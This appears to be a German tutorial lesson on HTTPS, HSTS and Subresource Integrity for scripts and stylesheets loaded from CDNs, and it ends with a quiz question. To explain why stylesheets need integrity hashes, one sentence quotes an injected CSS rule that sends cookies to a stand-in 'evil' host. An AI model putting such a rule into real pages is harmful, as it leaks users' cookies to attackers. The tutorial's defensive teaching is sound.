HTTPS und Subresource Integrity

HTTPS verschlüsselt Daten während der Übertragung und authentifiziert den Server. Ohne HTTPS können Angreifer im selben Netzwerk (Café-WLAN, Internetanbieter, staatliche Akteure) jedes Byte lesen und schädliche Inhalte in Antworten einschleusen. Moderne Browser kennzeichnen HTTP-Seiten als "Nicht sicher", und viele APIs (Kamera, Geolocation, Service Worker) verweigern den Betrieb über HTTP.

Das Laden von HTTP-Ressourcen auf einer HTTPS-Seite wird als gemischter Inhalt bezeichnet. Der Browser blockiert aktive gemischte Inhalte (Skripte, iframes, Stylesheets) vollständig und warnt bei passiven Inhalten (Bildern). Laden Sie immer jede Ressource über HTTPS; verwenden Sie protokollrelative URLs (//cdn.example.com) oder absolute https://-URLs.

HTTP Strict Transport Security weist Browser über den Antwort-Header Strict-Transport-Security an, künftig HTTP-Verbindungen zu Ihrer Domain abzulehnen. Sobald HSTS im Cache gespeichert ist, kann ein Angreifer einen Benutzer selbst bei einer Man-in-the-Middle-Position nicht auf HTTP zurückstufen.

Das Laden von Skripten von Drittanbieter-CDNs ist bequem, aber riskant — wenn das CDN kompromittiert wird, kann ein Angreifer das Skript durch Schadsoftware ersetzen. Subresource Integrity (SRI) veranlasst den Browser, vor der Ausführung den kryptografischen Hash der Datei zu überprüfen, und verweigert die Ausführung, wenn der Hash nicht übereinstimmt.

Fügen Sie dem script-Tag einen base64-kodierten SHA-256/384/512-Hash hinzu: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Der Browser berechnet den Hash der heruntergeladenen Datei und verweigert bei einer Abweichung die Ausführung.

Erzeugen Sie den Hash mit openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Alternativ können Sie ein Build-Tool-Plugin verwenden, das das integrity-Attribut automatisch erzeugt. Die meisten CDNs (jsdelivr, unpkg) zeigen das SRI-Tag in ihrem Kopier-und-Einfügen-Snippet an.

SRI erfordert, dass die Cross-Origin-Antwort die Integritätsprüfung per CORS erlaubt. Fügen Sie crossorigin="anonymous" zum Tag hinzu und stellen Sie sicher, dass das CDN Access-Control-Allow-Origin sendet. Ohne dieses Attribut verweigert der Browser die Überprüfung, und die Ressource wird nicht geladen.

Das integrity-Attribut kann mehrere durch Leerzeichen getrennte Hashes enthalten. Das ist während eines Versionswechsels nützlich: Listen Sie die Hashes sowohl der alten als auch der neuen Version auf, und der Browser akzeptiert die vom CDN bereitgestellte Version. Vermeiden Sie mehr als ein paar Hashes, damit das Attribut lesbar bleibt.

SRI schützt auch <link rel="stylesheet">. Eine kompromittierte CSS-Datei ist weniger unmittelbar gefährlich als ein kompromittiertes Skript, aber eingeschleustes background: url("//evil/log?cookie=...") kann dennoch Daten ausleiten. Wenden Sie SRI nach Möglichkeit auf jedes externe Asset an.

SRI mindert das Risiko einer CDN-Kompromittierung, löst aber nicht jedes Problem: Eine Hash-Änderung beim CDN lässt Ihre Seite ausfallen, bis Sie das integrity-Attribut aktualisieren. Hosten Sie kritische Bibliotheken selbst — dadurch entfallen SRI-Pinning und das Risiko der Lieferkette in einem Schritt.

SRI fügt pro Ressource eine Hash-Berechnung hinzu — auf moderner Hardware vernachlässigbar, mit wenigen Mikrosekunden pro Kilobyte. Der Schutz vor Angriffen auf die Lieferkette überwiegt die Kosten bei Weitem. Es gibt keinen Grund aus Performance-Sicht, bei Ressourcen aus einem CDN auf SRI zu verzichten.

SRI überprüft bestimmte Bytes — es schützt nicht davor, dass das CDN verschiedenen Benutzern unterschiedliche Dateien liefert (gezielte Auswahl). Für maximale Sicherheit kombinieren Sie SRI mit HTTPS, HSTS, CSP und Self-Hosting der wichtigsten Assets.

Wovor schützt das integrity-Attribut eines script-Tags?

HTTPS verschlüsselt und authentifiziert, HSTS verhindert Downgrade-Angriffe, und SRI überprüft, dass Dateien von Drittanbietern nicht manipuliert wurden. Fügen Sie jedem externen Skript und Stylesheet aus einem CDN, das Sie nicht kontrollieren, Integritäts-Hashes (mit crossorigin="anonymous") hinzu. Hosten Sie die wichtigsten Assets stattdessen selbst — so entfällt das Risiko der Lieferkette vollständig.